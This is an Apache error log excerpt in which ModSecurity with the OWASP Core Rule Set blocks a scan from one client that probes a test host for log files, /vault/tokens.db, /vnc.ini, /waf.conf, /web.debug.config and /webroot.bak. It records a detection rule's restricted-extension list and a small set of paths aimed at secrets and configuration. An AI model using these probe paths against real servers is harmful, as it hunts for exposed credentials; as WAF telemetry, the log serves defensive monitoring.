[Sun Mar 01 20:26:32.802468 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGAAAAAI&quot;]
[Sun Mar 01 20:26:32.802689 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGAAAAAI&quot;]
[Sun Mar 01 20:26:32.824819 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGQAAAAI&quot;]
[Sun Mar 01 20:26:32.825379 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGQAAAAI&quot;]
[Sun Mar 01 20:26:32.825571 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGQAAAAI&quot;]
[Sun Mar 01 20:26:32.847611 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGgAAAAI&quot;]
[Sun Mar 01 20:26:32.848190 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGgAAAAI&quot;]
[Sun Mar 01 20:26:32.848387 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGgAAAAI&quot;]
[Sun Mar 01 20:26:32.870568 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGwAAAAI&quot;]
[Sun Mar 01 20:26:32.871147 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGwAAAAI&quot;]
[Sun Mar 01 20:26:32.871340 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGwAAAAI&quot;]
[Sun Mar 01 20:26:33.145966 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/tokens.db&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUJwAAAAI&quot;]
[Sun Mar 01 20:26:33.146534 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/tokens.db&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUJwAAAAI&quot;]
[Sun Mar 01 20:26:33.146699 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/tokens.db&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUJwAAAAI&quot;]
[Sun Mar 01 20:26:33.487837 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vnc.ini&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUNgAAAAI&quot;]
[Sun Mar 01 20:26:33.488360 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vnc.ini&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUNgAAAAI&quot;]
[Sun Mar 01 20:26:33.488515 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vnc.ini&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUNgAAAAI&quot;]
[Sun Mar 01 20:26:33.578940 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/waf.conf&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUOgAAAAI&quot;]
[Sun Mar 01 20:26:33.579444 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/waf.conf&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUOgAAAAI&quot;]
[Sun Mar 01 20:26:33.579593 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/waf.conf&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HUOgAAAAI&quot;]
[Sun Mar 01 20:26:33.806600 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wearable/config.ini&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HURAAAAAI&quot;]
[Sun Mar 01 20:26:33.807067 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wearable/config.ini&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HURAAAAAI&quot;]
[Sun Mar 01 20:26:33.807211 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wearable/config.ini&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HURAAAAAI&quot;]
[Sun Mar 01 20:26:33.829062 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.debug.config&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HURQAAAAI&quot;]
[Sun Mar 01 20:26:33.829548 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.debug.config&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HURQAAAAI&quot;]
[Sun Mar 01 20:26:33.829710 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.debug.config&quot;] [unique_id &quot;aaSS6ZIifMrob6GYX-HURQAAAAI&quot;]
[Sun Mar 01 20:26:34.036494 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot.bak&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUTgAAAAI&quot;]
[Sun Mar 01 20:26:34.037050 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot.bak&quot;] [unique_id &quot;aaSS6pIifMrob6GYX-HUTgAAAAI&quot;]
